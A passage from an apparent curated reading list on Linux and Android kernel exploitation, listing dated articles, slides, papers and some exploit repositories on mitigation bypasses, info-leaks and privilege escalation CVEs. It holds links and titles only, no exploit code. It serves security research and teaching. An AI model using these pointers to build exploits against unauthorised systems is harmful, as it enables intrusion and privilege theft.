Jordy Zomer and Alexandra Sandulescu](https://github.com/google/security-research/security/advisories/GHSA-m7j5-797w-vmrh) [article] [2023: "Linux Kernel: Spectre v2 SMT mitigations problem" by Eduardo Vela](https://github.com/google/security-research/security/advisories/GHSA-mj4w-6495-6crx) [article] [2022: "A Dirty Little History: Bypassing Spectre Hardware Defenses to Leak Kernel Data"](https://i.blackhat.com/USA-22/Thursday/US-22-Frigo-A-Dirty-Little-History.pdf) [slides] [2022: "Tetragone: A Lesson in Security Fundamentals" by Pawel Wieczorkiewicz and Brad Spengler](https://grsecurity.net/tetragone_a_lesson_in_security_fundamentals) [article] [2021: "A General Approach to Bypassing Many Kernel Protections and its Mitigation" by Yueqi Chen](https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Chen-A-General-Approach-To-Bypassing-Many-Kernel-Protections-And-Its-Mitigation.pdf) [slides] [[video](https://www.youtube.com/watch?v=EIwEF3tCtg4)] [2021: "Attacking Samsung RKP" by Alexandre Adamski](https://blog.impalabs.com/2111_attacking-samsung-rkp.html) [article] [2020: "Things not to do when using an IOMMU" by Ilja van Sprundel and Joseph Tartaro](https://www.youtube.com/watch?v=p1HUpSkHcZ0) [video] [2020: "SELinux RKP misconfiguration on Samsung S20 devices" by Vitaly Nikolenko](https://duasynt.com/blog/samsung-s20-rkp-selinux-disable) [article] [2020: "TagBleed: Breaking KASLR on the Isolated Kernel Address Space using Tagged TLBs"](https://download.vusec.net/papers/tagbleed_eurosp20.pdf) [paper] [2020: "Weaknesses in Linux Kernel Heap Hardening" by Silvio Cesare](https://blog.infosectcbr.com.au/2020/03/weaknesses-in-linux-kernel-heap.html) [article] [2020: "An Analysis of Linux Kernel Heap Hardening" by Silvio Cesare](https://blog.infosectcbr.com.au/2020/04/an-analysis-of-linux-kernel-heap.html) [article] [2020: "PAN: Another day, another broken mitigation" by Siguza](https://siguza.github.io/PAN/) [article] [2019: "KNOX Kernel Mitigation Bypasses" by Dong-Hoon You at PoC](http://powerofcommunity.net/poc2019/x82.pdf) [slides] [2017: "Lifting the (Hyper) Visor: Bypassing Samsung’s Real-Time Kernel Protection" by Gal Beniamini](https://googleprojectzero.blogspot.com/2017/02/lifting-hyper-visor-bypassing-samsungs.html) [article] [2016: "Linux Kernel x86-64 bypass SMEP - KASLR - kptr_restric"](https://web.archive.org/web/20171029060939/http://www.blackbunny.io/linux-kernel-x86-64-bypass-smep-kaslr-kptr_restric/) [article] [2016: "Practical SMEP bypass techniques on Linux" by Vitaly Nikolenko at KIWICON](https://cyseclabs.com/slides/smep_bypass.pdf) [slides] [2016: "Micro architecture attacks on KASLR" by Anders Fogh"](https://cyber.wtf/2016/10/25/micro-architecture-attacks-on-kasrl/) [article] [2016: "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR" by Dmitry Evtyushkin, Dmitry Ponomarev and Nael Abu-Ghazaleh](http://www.cs.ucr.edu/~nael/pubs/micro16.pdf) [slides] [2016: "Prefetch Side-Channel Attacks: Bypassing SMAP and Kernel ASLR" by Daniel Gruss, Clementine Maurice, Anders Fogh, Moritz Lipp and Stefan Mangard at CCS](https://www.youtube.com/watch?v=TJTQbs3oJx8) [video] [2016: "Using Undocumented CPU Behavior to See Into Kernel Mode and Break KASLR in the Process" at Black Hat](https://www.youtube.com/watch?v=T3kmq2NLpH4) [video] [2016: "Breaking KASLR with Intel TSX" Yeongjin Jang, Sangho Lee and Taesoo Kim at Black Hat](https://www.blackhat.com/docs/us-16/materials/us-16-Jang-Breaking-Kernel-Address-Space-Layout-Randomization-KASLR-With-Intel-TSX.pdf) [slides] [[video](https://www.youtube.com/watch?v=rtuXG28g0CU)] [2016: "Breaking KASLR with micro architecture" by Anders Fogh](https://dreamsofastone.blogspot.ru/2016/02/breaking-kasrl-with-micro-architecture.html) [article] [2015: "Effectively bypassing kptr_restrict on Android" by Gal Beniamini](https://bits-please.blogspot.de/2015/08/effectively-bypassing-kptrrestrict-on.html) [article] [2014: "ret2dir: Deconstructing Kernel Isolation" by Vasileios P. Kemerlis, Michalis Polychronakis and Angelos D. Keromytis at Black Hat Europe](https://www.blackhat.com/docs/eu-14/materials/eu-14-Kemerlis-Ret2dir-Deconstructing-Kernel-Isolation-wp.pdf) [paper] [[video](https://www.youtube.com/watch?v=kot-EQ9zf9k)] [2013: "A Linux Memory Trick" by Dan Rosenberg](http://vulnfactory.org/blog/2013/02/06/a-linux-memory-trick/) [article] [2011: "SMEP: What is It, and How to Beat It on Linux" by Dan Rosenberg](http://vulnfactory.org/blog/2011/06/05/smep-what-is-it-and-how-to-beat-it-on-linux/) [article] [2009: "Bypassing Linux' NULL pointer dereference exploit prevention (mmap_min_addr)"](http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html) [article] ## Vulnerabilities [Project Zero bug reports](https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=linux%20kernel&colspec=ID%20Type%20Status%20Priority%20Milestone%20Owner%20Summary&cells=ids&sort=-id) [Linux Kernel CVEs](https://www.linuxkernelcves.com/) [Assorted advisories by Gyorgy Miru and kutyacica](https://labs.taszk.io/blog/) ### Info-leaks [2023: "The code that wasn’t there: Reading memory on an Android device by accident" by Man Yue Mo](https://github.blog/2023-02-23-the-code-that-wasnt-there-reading-memory-on-an-android-device-by-accident/) [article] [CVE-2022-25664] [2022: "EntryBleed: Breaking KASLR under KPTI with Prefetch (CVE-2022-4543)"](https://www.willsroot.io/2022/12/entrybleed.html) [article] [CVE-2022-4543] [2022: "Yet another bug into Netfilter" by Arthur Mongodin](https://www.randorisec.fr/yet-another-bug-netfilter/) [article] [CVE-2022-1972] [2022: "The AMD Branch (Mis)predictor: Just Set it and Forget it!" by Pawel Wieczorkiewicz](https://grsecurity.net/amd_branch_mispredictor_just_set_it_and_forget_it) [article] [Spectre] [2022: "The AMD Branch (Mis)predictor Part 2: Where No CPU has Gone Before (CVE-2021-26341)" by Pawel Wieczorkiewicz](https://grsecurity.net/amd_branch_mispredictor_part_2_where_no_cpu_has_gone_before) [article] [Spectre] [2021: "Samsung S10+/S9 kernel 4.14 (Android 10) Kernel Function Address (.text) and Heap Address Information Leak"](https://ssd-disclosure.com/ssd-advisory-samsung-s10-s9-kernel-4-14-android-10-kernel-function-address-text-and-heap-address-information-leak/) [article] [CVE-TBD] [2021: "Linux Kernel /proc/pid/syscall information disclosure vulnerability"](https://talosintelligence.com/vulnerability_reports/TALOS-2020-1211) [article] [CVE-2020-28588] [2021: "Spectre exploits in the "wild""](https://dustri.org/b/spectre-exploits-in-the-wild.html) [article] [2021: "VDSO As A Potential KASLR Oracle" by Philip Pettersson and Alex Radocea](https://www.longterm.io/vdso_sidechannel.html) [article] [2020: "PLATYPUS: Software-based Power Side-Channel Attacks on x86"](https://platypusattack.com/platypus.pdf) [paper] [2019: "CVE-2018-3639 / CVE-2019-7308 - Analysis of Spectre Attacking Linux Kernel ebpf"](https://xz.aliyun.com/t/4230) [article] [CVE-2018-3639, CVE-2019-7308] [2019: "From IP ID to Device ID and KASLR Bypass (Extended Version)"](https://arxiv.org/pdf/1906.10478.pdf) [paper] [2018: "Kernel Memory disclosure & CANVAS Part 1 - Spectre: tips & tricks"](https://www.immunityinc.com/downloads/Kernel-Memory-Disclosure-and-Canvas_Part_1.pdf) [article] [Spectre] [2018: "Kernel Memory disclosure & CANVAS Part 2 - CVE-2017-18344 analysis & exploitation notes"](https://www.immunityinc.com/downloads/Kernel-Memory-Disclosure-and-Canvas_Part_2.pdf) [article] [CVE-2017-18344] [2018: "CVE-2017-18344: Exploiting an arbitrary-read vulnerability in the Linux kernel timer subsystem" by Andrey Konovalov](https://xairy.io/articles/cve-2017-18344) [article] [CVE-2017-18344] [2017: "Linux kernel 2.6.0 to 4.12-rc4 infoleak due to a data race in ALSA timer" by Alexander Potapenko](http://seclists.org/oss-sec/2017/q2/455) [announcement] [CVE-2017-1000380] [2017: "The Infoleak that (Mostly) Wasn't" by Brad Spengler](https://grsecurity.net/the_infoleak_that_mostly_wasnt.php) [article] [CVE-2017-7616] [2016: "Exploiting a Linux Kernel Infoleak to bypass Linux kASLR"](https://marcograss.github.io/security/linux/2016/01/24/exploiting-infoleak-linux-kaslr-bypass.html) [article] [2010: "Linux Kernel pktcdvd Memory Disclosure" by Jon Oberheide](https://jon.oberheide.org/blog/2010/10/23/linux-kernel-pktcdvd-memory-disclosure/) [article] [CVE-2010-3437] [2009: "Linux Kernel x86-64 Register Leak" by Jon Oberheide](https://jon.oberheide.org/blog/2009/10/04/linux-kernel-x86-64-register-leak/) [article] [CVE-2009-2910] [2009: "Linux Kernel getname() Stack Memory Disclosures" by Jon Oberheide](https://jon.oberheide.org/blog/2009/08/29/linux-kernel-getname-stack-memory-disclosures/) [article] [CVE-2009-3001] ### LPE [2023: "Breaking the Code - Exploiting and Examining CVE-2023-1829 in cls_tcindex Classifier Vulnerability" by Vu Thi Lan](https://starlabs.sg/blog/2023/06-breaking-the-code-exploiting-and-examining-cve-2023-1829-in-cls_tcindex-classifier-vulnerability/) [article] [CVE-2023-1829] [2023: "CVE-2023-2008 - Analyzing and exploiting a bug in the udmabuf driver"](https://labs.bluefrostsecurity.de/blog/cve-2023-2008.html) [article] [CVE-2023-2008] [2023: "Rooting with root cause: finding a variant of a Project Zero bug" by Man Yue Mo](https://github.blog/2023-05-25-rooting-with-root-cause-finding-a-variant-of-a-project-zero-bug/) [article] [CVE-2022-46395] [2023: "Racing Against the Lock: Exploiting Spinlock UAF in the Android Kernel" by Moshe Kol](https://0xkol.github.io/assets/files/Racing_Against_the_Lock__Exploiting_Spinlock_UAF_in_the_Android_Kernel.pdf) [article] [[slides](https://0xkol.github.io/assets/files/OffensiveCon23_Racing_Against_the_Lock__Exploiting_Spinlock_UAF_in_the_Android_Kernel.pdf)] [[video](https://www.youtube.com/watch?v=E3CVDOlcHC4)] [[exploit](https://github.com/0xkol/badspin)] [CVE-2022-20421] [2023: "Two bugs with one PoC: Roo2ng Pixel 6 from Android 12 to Android 1" by Yong Wang](https://i.blackhat.com/Asia-23/AS-23-WANG-Two-bugs-with-one-PoC-Rooting-Pixel-6-from-Android-12-to-Android-13.pdf) [slides] [CVE-2021-28664] [2023: "The OverlayFS vulnerability CVE-2023-0386: Overview, detection, and remediation"](https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/) [article] [CVE-2023-0386] [2023: "Pwning Pixel 6 with a leftover patch" by Man Yue Mo](https://github.blog/2023-04-06-pwning-pixel-6-with-a-leftover-patch/) [article] [GHSL-2023-005] [2023: "Revisiting CVE-2017-11176" by Nils Ole Timm](https://labs.bluefrostsecurity.de/revisiting-cve-2017-11176) [article] [CVE-2017-11176] [2023: "Rooting the FiiO M6" by Jack Maginnes](https://stigward.github.io/posts/fiio-m6-kernel-bug/) [article] [[part 2](https://stigward.github.io/posts/fiio-m6-exploit/)] [2023: "Exploiting CVE-2021-3490 for Container Escapes" by Karsten Kyonig](https://www.crowdstrike.com/blog/exploiting-cve-2021-3490-for-container-escapes/) [article] [CVE-2021-3490] [2023: "Pwning the all Google phone with a non-Google bug"](https://github.blog/2023-01-23-pwning-the-all-google-phone-with-a-non-google-bug/) [article] [CVE-2022-38181] [2022: "CVE-2022-22265: Samsung NPU device driver double free in Android" by Xingyu Jin](https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2022/CVE-2022-22265.html) [article] [CVE-2022-22265] [2022: "Linux Kernel: Exploiting a Netfilter Use-after-Free in kmalloc-cg" by Sergi Martinez](https://blog.exodusintel.com/2022/12/19/linux-kernel-exploiting-a-netfilter-use-after-free-in-kmalloc-cg/) [article] [CVE-2022-32250] [2022: "Exploiting CVE-2022-42703 - Bringing back the stack attack" by Seth Jenkins](https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html) [article] [CVE-2022-42703] [2022: "CVE-2022-2602: DirtyCred File Exploitation applied on an io_uring UAF"](https://1day.dev/notes/CVE-2022-2602-DirtyCred-File-Exploitation-applied-on-an-io_uring-UAF/) [article] [CVE-2022-2602] [2022: "DirtyCred Remastered: how to turn an UAF into Privilege Escalation"](https://exploiter.dev/blog/2022/CVE-2022-2602.html) [article] [CVE-2022-2602] [2022: "Exploiting cross table object reference in Linux Netfilter table (NFT) module"](https://docs.google.com/presentation/d/1qcPPz9E_X3z5h_E-Cc7Qmy1ppP4hWjFZQCQ5ZCb9hw8/edit?usp=sharing) [slides] [CVE-2022-2078] [CVE-2022-2586] [2022: "Linux Kernel n-day exploit development"](https://1day.dev/notes/Linux-Kernel-n-day-exploit-development/) [article] [CVE-2020-27786] [2022: "Linux Kernel Exploit Development: 1day case study" by Alessandro Groppo](https://blog.hacktivesecurity.com/index.php/2022/06/13/linux-kernel-exploit-development-1day-case-study/) [article] [CVE-2020-27786] [2022: "[CVE-2022-1786] A Journey To The Dawn"](https://blog.kylebot.net/2022/10/16/CVE-2022-1786/) [article] [CVE-2022-1786] [2022: "A Very Powerful Clipboard: Analysis of a Samsung in-the-wild exploit chain" by Maddie Stone](https://googleprojectzero.blogspot.com/2022/11/a-very-powerful-clipboard-samsung-in-the-wild-exploit-chain.html) [article] [CVE-2021-25369] [CVE-2021-25370] [2022: "Attacking the Android kernel using the Qualcomm TrustZone" by Tamir Zahavi-Brunner](https://tamirzb.com/attacking-android-kernel-using-qualcomm-trustzone) [article] [[video](https://www.youtube.com/watch?v=WXqff23dT5I)] [CVE-2021-1961] [2022: "SETTLERS OF NETLINK: Exploiting a limited UAF in nf_tables (CVE-2022-32250)"](https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/) [article] [[slides](https://conference.hitb.org/hitbsecconf2022sin/materials/D1T1%20-%20Settlers%20of%20Netlink%20-%20Exploiting%20a%20Limited%20UAF%20on%20Ubuntu%2022.04%20to%20Achieve%20LPE%20-%20Aaron%20Adams.pdf)] [[video](https://www.youtube.com/watch?v=7T_ajYpRWJw)] [CVE-2022-32250] [2022: "Linux Kernel Exploit (CVE-2022-32250) with mqueue"](https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/) [article] [CVE-2022-32250] [2022: "N-day exploit for CVE-2022-2586: Linux kernel nft_object UAF" by Alejandro Guerrero](https://www.openwall.com/lists/oss-security/2022/08/29/5) [article] [CVE-2022-2586] [2022: "Monitoring Surveillance Vendors: A Deep Dive into In-the-Wild Android Full Chains in 2021"](https://i.blackhat.com/USA-22/Wednesday/US-22-Jin-Monitoring-Surveillance-Vendors.pdf) [slides] [CVE-2021-0920] [2022: "CVE-2022-29582: An io_uring vulnerability" by Awarau and David Bouman](https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/) [article] [CVE-2022-29582] [2022: "Linux kernel io_uring module pbuf_ring vulnerability and privilege escalation 0day"](https://dawnslab.jd.com/linux-5.19-rc2_pbuf_ring_0day/) [article] [2022: "Corrupting memory without memory corruption" by Man Yue Mo](https://github.blog/2022-07-27-corrupting-memory-without-memory-corruption/) [article] [CVE-2022-20186] [2022: "[CVE-2022-34918] A crack in the Linux firewall" by Arthur Mongodin](https://www.randorisec.fr/crack-linux-firewall/) [article] [CVE-2022-34918] [[exploit](https://github.com/randorisec/CVE-2022-34918-LPE-PoC)] [2022: "CVE-2022-34918: netfilter analysis notes"](https://veritas501.github.io/2022_08_02-CVE-2022-34918%20netfilter%20%E5%88%86%E6%9E%90%E7%AC%94%E8%AE%B0/) [article] [CVE-2022-34918] [2022: "Practice of USMA-based Kernel Universal EXP Writing Ideas on CVE-2022-34918"](https://veritas501.github.io/2022_08_11_%E5%9F%BA%E4%BA%8EUSMA%E7%9A%84%E5%86%85%E6%A0%B8%E9%80%9A%E7%94%A8EXP%E7%BC%96%E5%86%99%E6%80%9D%E8%B7%AF%E5%9C%A8%20CVE-2022-34918%20%E4%B8%8A%E7%9A%84%E5%AE%9E%E8%B7%B5/) [article] [CVE-2022-34918] [2022: "The Android kernel mitigations obstacle race" by Man Yue Mo](https://github.blog/2022-06-16-the-android-kernel-mitigations-obstacle-race/) [article] [CVE-2022-22057] [2022: "io_uring - new code, new bugs, and a new exploit technique" by Lam Jun Rong](https://starlabs.sg/blog/2022/06/io_uring-new-code-new-bugs-and-a-new-exploit-technique/) [article] [CVE-2021-41073] [2022: "Exploration of the Dirty Pipe Vulnerability (CVE-2022-0847)" by lolcads](https://lolcads.github.io/posts/2022/06/dirty_pipe_cve_2022_0847/) [article] [CVE-2022-0847] [2022: "DirtyPipe-Android/TECHNICAL-DETAILS.md" by polygraphene](https://github.com/polygraphene/DirtyPipe-Android/blob/master/TECHNICAL-DETAILS.md) [article] [CVE-2022-0847] [2022: "Weaponizing dirtypipe on android" by Giovanni Rocca](https://docs.google.com/presentation/d/1Tq00gy1GtiK0OvNYOy_kCz0er9ZECBXGoy5Lfy5MD3M/edit?usp=sharing) [slides] [[exploit](https://github.com/iGio90/DirtyPipeZ)] [CVE-2022-0847] [2022: "How The Tables Have Turned: An analysis of two new Linux vulnerabilities in nf_tables" by David Bouman](https://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/) [CVE-2022-1015] [CVE-2022-1016] [2022: "The Discovery and Exploitation of CVE-2022-25636" by Nick Gregory](https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/) [article] [CVE-2022-25636] [2022: "CVE-2022-27666: Exploit esp6 modules in Linux kernel" by ETenal](https://etenal.me/archives/1825) [article] [CVE-2022-27666] [2022: "Put an io_uring on it: Exploiting the Linux Kernel" by Valentina Palmiotti](https://www.graplsecurity.com/post/iou-ring-exploiting-the-linux-kernel) [article] [CVE-2021-41073] [2022: "The Dirty Pipe Vulnerability" by Max Kellermann](https://dirtypipe.cm4all.com/) [article] [CVE-2022-0847] [2022: "CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google's KCTF Containers"](https://www.willsroot.io/2022/01/cve-2022-0185.html) [article] [CVE-2022-0185] [2022: "CVE-2022-0185: Linux kernel slab out-of-bounds write: exploit and writeup" by Alejandro Guerrero](https://www.openwall.com/lists/oss-security/2022/01/25/14) [article] [CVE-2022-0185] [2022: "CVE-2022-0185: A Case Study"](https://www.hackthebox.com/blog/CVE-2022-0185:_A_case_study) [article] [CVE-2022-0185] [2022: "CVE-2022-0185: Analysis and utilization and thinking and practice of new primitives for pipe"](https://veritas501.github.io/2022_03_16-CVE_2022_0185%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E4%B8%8Epipe%E6%96%B0%E5%8E%9F%E8%AF%AD%E6%80%9D%E8%80%83%E4%B8%8E%E5%AE%9E%E8%B7%B5/#%E7%9C%9F%E2%80%A2%E6%AD%A3%E6%96%87-%E6%96%B0%E5%9E%8B%E5%88%A9%E7%94%A8%E5%8E%9F%E8%AF%AD-pipe) [article] [CVE-2022-0185] [2022: "Linux kernel Use-After-Free (CVE-2021-23134) PoC"](https://web.archive.org/web/20220616193522/https://ruia-ruia.github.io/NFC-UAF/) [article] [CVE-2021-23134] [2022: "Exploiting CVE-2021-26708 (Linux kernel) with ssh"](https://hardenedvault.net/2022/03/01/poc-cve-2021-26708.html) [article] [CVE-2021-26708] [2022: "exploiting CVE-2019-2215" by cutesmilee](https://cutesmilee.github.io/kernel/linux/android/2022/02/17/cve-2019-2215_writeup.html) [article] [CVE-2019-2215] [2021: "Your Trash Kernel Bug, My Precious 0-day" by Zhenpeng Lin](https://zplin.me/talks/BHEU21_trash_kernel_bug.pdf) [slides] [CVE-2021-3715] [2021: "[CVE-2021-42008] Exploiting A 16-Year-Old Vulnerability In The Linux 6pack Driver"](https://syst3mfailure.io/sixpack-slab-out-of-bounds) [article] [CVE-2021-42008] [2021: "PWN2OWN Local Escalation of Privilege Category, Ubuntu Desktop Exploit"](https://flatt.tech/assets/reports/210401_pwn2own/whitepaper.pdf) [article] [CVE-TBD] [2021: "Reversing and Exploiting Samsung's NPU" by Maxime Peterlin](https://blog.impalabs.com/2103_reversing-samsung-npu.html) [article] [[part 2](https://blog.impalabs.com/2110_exploiting-samsung-npu.html)] [slides](https://github.com/Impalabs/conferences/blob/master/2021-barbhack21/21-Barbhack21-Reversing_and_Exploiting_Samsungs_Neural_Processing_Unit.pdf) [2021: "Fall of the machines: Exploiting the Qualcomm NPU (neural processing unit) kernel driver" by Man Yue Mo](https://securitylab.github.com/research/qualcomm_npu/) [article] [CVE-2021-1940, CVE-2021-1968, CVE-2021-1969] [2021: "Exploiting CVE-2021-43267" by Blasty](https://haxx.in/posts/pwning-tipc/) [article] [CVE-2021-43267] [2021: "How a simple Linux kernel memory corruption bug can lead to complete system compromise" by Jann Horn](https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-memory.html) [article] [CVE-TBD] [2021: "SuDump: Exploiting suid binaries through the kernel" by Itai Greenhut](https://alephsecurity.com/2021/10/20/sudump/) [article] [CVE-TBD] [2021: "CVE-2021-34866 Writeup" by HexRabbit](https://blog.hexrabbit.io/2021/11/03/CVE-2021-34866-writeup/) [article] [CVE-2021-34866] [2021: "Kernel Pwning with eBPF: a Love Story" by Valentina Palmiotti](https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story) [article] [CVE-2021-3490] [2021: "The Art of Exploiting UAF by Ret2bpf in Android Kernel" by Xingyu Jin and Richard Neal](https://i.blackhat.com/EU-21/Wednesday/EU-21-Jin-The-Art-of-Exploiting-UAF-by-Ret2bpf-in-Android-Kernel-wp.pdf) [article] [[slides](https://conference.hitb.org/hitbsecconf2021sin/materials/D1T1%20-%20%20The%20Art%20of%20Exploiting%20UAF%20by%20Ret2bpf%20in%20Android%20Kernel%20-%20Xingyu%20Jin%20&%20Richard%20Neal.pdf)] [[video](https://www.youtube.com/watch?v=7UXtirV1Vzg)] [CVE-2021-0399] [2021: "Internal of the Android kernel backdoor vulnerability"](https://vul.360.net/archives/263) [article] [CVE-2021-28663] [2021: "Escape from chrome sandbox to root"](https://vul.360.net/archives/217) [article] [CVE-2020-0423] [2021: "CVE-2017-11176" by Maher Azzouzi](https://github.com/MaherAzzouzi/LinuxKernelStudy/tree/main/CVE-2017-11176) [article] [CVE-2017-11176] [2021: "Sequoia: A deep root in Linux's filesystem layer (CVE-2021-33909)" by Qualys Research Team](https://www.qualys.com/2021/07/20/cve-2021-33909/sequoia-local-privilege-escalation-linux.txt) [article] [CVE-2021-33909] [2021: "CVE-2021-22555: Turning \x00\x00 into 10000$" by Andy Nguyen](https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html) [CVE-2021-22555, article] [2021: "Exploitation of a double free vulnerability in Ubuntu shiftfs driver (CVE-2021-3492)" by Vincent Dehors](https://www.synacktiv.com/publications/exploitation-of-a-double-free-vulnerability-in-ubuntu-shiftfs-driver-cve-2021-3492.html) [article] [CVE-2021-3492] [2021: "CVE-2021-20226 a reference counting bug which leads to local privilege escalation in io_uring"](https://flattsecurity.medium.com/cve-2021-20226-a-reference-counting-bug-which-leads-to-local-privilege-escalation-in-io-uring-e946bd69177a) [article] [CVE-2021–20226] [2021: "CVE-2021-32606: CAN ISOTP local privilege escalation"](https://github.com/nrb547/kernel-exploitation/blob/main/cve-2021-32606/cve-2021-32606.md) [article] [CVE-2021-32606] [2021: "CVE-2021-3609: CAN BCM local privilege escalation"](https://github.com/nrb547/kernel-exploitation/blob/main/cve-2021-3609/cve-2021-3609.md) [article] [[announcement](https://www.openwall.com/lists/oss-security/2021/06/19/1)] [CVE-2021-3609] [2021: "Blue Klotski (CVE-2021-3573) and the story for fixing" by f0rm2l1n](https://f0rm2l1n.github.io/2021-07-23-Blue-Klotski/) [article] [[announcement](https://www.openwall.com/lists/oss-security/2021/06/08/2)] [CVE-2021-3573] [2021: "ZDI-20-1440: An Incorrect Calculation Bug in the Linux Kernel eBPF Verifier" by Lucas Leong](https://www.zerodayinitiative.com/blog/2021/1/18/zdi-20-1440-an-incorrect-calculation-bug-in-the-linux-kernel-ebpf-verifier) [article] [2021: "ZDI-20-1440 Writeup" by HexRabbit](https://blog.hexrabbit.io/2021/02/07/ZDI-20-1440-writeup/) [article] [2021: "SSD Advisory – OverlayFS PE"](https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/) [article] [CVE-2021-3493] [2021: "[BugTales] A Nerve-Racking Bug Collision in Samsung's NPU Driver" by Gyorgy Miru](https://labs.taszk.io/articles/post/bug_collision_in_samsungs_npu_driver/) [article] [CVE-2020-28343, SVE-2020-18610] [2021: "CVE-2021-20226: A Reference-Counting Bug in the Linux Kernel io_uring Subsystem" by Lucas Leong](https://www.zerodayinitiative.com/blog/2021/4/22/cve-2021-20226-a-reference-counting-bug-in-the-linux-kernel-iouring-subsystem) [article] [CVE-2021-20226] [2021: "One day short of a full chain: Part 1 - Android Kernel arbitrary code execution" by Man Yue Mo](https://securitylab.github.com/research/one_day_short_of_a_fullchain_android/) [article] [GHSL-2020-375] [2021: "New Old Bugs in the Linux Kernel"](https://blog.grimm-co.com/2021/03/new-old-bugs-in-linux-kernel.html) [article] [CVE-2021-27365, CVE-2021-27363, CVE-2021-27364] [2021: "Four Bytes of Power: exploiting CVE-2021-26708 in the Linux kernel"](https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html) [article] [[slides](https://a13xp0p0v.github.io/img/CVE-2021-26708.pdf)] [[video](https://www.youtube.com/watch?v=EMcjHfceX44)] [CVE-2021-26708] [2021: "Improving the exploit for CVE-2021-26708 in the Linux kernel to bypass LKRG" by Alexander Popov](https://a13xp0p0v.github.io/2021/08/25/lkrg-bypass.html) [article] [[slides](https://a13xp0p0v.github.io/img/CVE-2021-26708_LKRG_bypass.pdf)] [[video](https://www.youtube.com/watch?v=n6YLiYiCIMA)] [2021: "Gaining root access in Linux using the CVE-2021-26708 vulnerability" by Markel Azpeitia Loiti](https://addi.ehu.es/bitstream/handle/10810/53355/GrAL_MAzpeitia.pdf) [paper] [2021: "CVE-2014-3153" by Maher Azzouzi](https://github.com/MaherAzzouzi/LinuxKernelStudy/tree/main/CVE-2014-3153) [article] [CVE-2014-3153] [2021: "The curious case of CVE-2020-14381"](https://blog.frizn.fr/linux-kernel/cve-2020-14381) [article] [CVE-2020-14381] [2021: "Galaxy's Meltdown - Exploiting SVE-2020-18610"](https://github.com/vngkv123/articles/blob/main/Galaxy's%20Meltdown%20-%20Exploiting%20SVE-2020-18610.md) [article] [CVE-2020-28343, SVE-2020-18610] [2021: "In-the-Wild Series: Android Exploits" by Mark Brand](https://googleprojectzero.blogspot.com/2021/01/in-wild-series-android-exploits.html) [article] [2021: "Exploiting CVE-2014-3153 (Towelroot)" by Elon Gliksberg](https://elongl.github.io/exploitation/2021/01/08/cve-2014-3153.html) [article] [CVE-2014-3153] [2021: "CVE-2014-3153" by Maher Azzouzi](https://github.com/MaherAzzouzi/LinuxKernelStudy/tree/main/CVE-2014-3153) [article] [CVE-2014-3153] [2020: "An iOS hacker tries Android" by Brandon Azad](https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries-android.html) [article] [CVE-2020-28343, SVE-2020-18610] [2020: "Exploiting a Single Instruction Race Condition in Binder"](https://blog.longterm.io/cve-2020-0423.html) [article] [CVE-2020-0423] [2020: "Three Dark clouds over the Android kernel" by Jun Yao](https://github.com/2freeman/Slides/blob/main/PoC-2020-Three%20Dark%20clouds%20over%20the%20Android%20kernel.pdf) [slides] [CVE-2020-3680] [2020: "Kernel Exploitation With A File System Fuzzer"](https://cyberweek.ae/materials/2020/D1T2%20-%20Kernel%20Exploitation%20with%20a%20File%20System%20Fuzzer.pdf) [slides] [[video](https://www.youtube.com/watch?v=95f1b4FcrQ4)] [CVE-2019-19377] [2020: "Finding and exploiting a bug (LPE) in an old Android phone" by Brandon Falk](https://www.youtube.com/watch?v=g62FXds2pt8) [stream] [[part 2](https://www.youtube.com/watch?v=qnyFk-f3Koo)] [[summary](https://www.youtube.com/watch?v=t-t7D0vQNmo)] [2020: "CVE-2020-14386: Privilege Escalation Vulnerability in the Linux kernel" by Or Cohen](https://unit42.paloaltonetworks.com/cve-2020-14386/) [article] [CVE-2020-14386] [2020: "Attacking the Qualcomm Adreno GPU" by Ben Hawkes](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html) [article] [CVE-2020-11179] [2020: "TiYunZong: An Exploit Chain to Remotely Root Modern Android Devices" by Guang Gong at Black Hat](https://github.com/secmob/TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices/blob/master/us-20-Gong-TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices.pdf) [slides] [[paper](https://github.com/secmob/TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices/blob/master/us-20-Gong-TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices-wp.pdf)] [CVE-2019-10567] [2020: "Binder - Analysis and exploitation of CVE-2020-0041" by Jean-Baptiste Cayrou](https://www.synacktiv.com/posts/exploit/binder-analysis-and-exploitation-of-cve-2020-0041.html) [article] [CVE-2020-0041] [2020: "Binder IPC and its vulnerabilities" by Jean-Baptiste Cayrou at THCON](https://www.synacktiv.com/ressources/thcon2020_binder.pdf) [slides] [CVE-2019-2215, CVE-2019-2025, CVE-2019-2181, CVE-2019-2214, CVE-2020-0041] [2020: "Exploiting CVE-2020-0041 - Part 2: Escalating to root" by Eloi Sanfelix and Jordan Gruskovnjak](https://labs.bluefrostsecurity.de/blog/2020/04/08/cve-2020-0041-part-2-escalating-to-root/) [article] [CVE-2020-0041] [2020: "A bug collision tale" by Eloi Sanfelix at OffensiveCon](https://labs.bluefrostsecurity.de/files/OffensiveCon2020_bug_collision_tale.pdf) [slides] 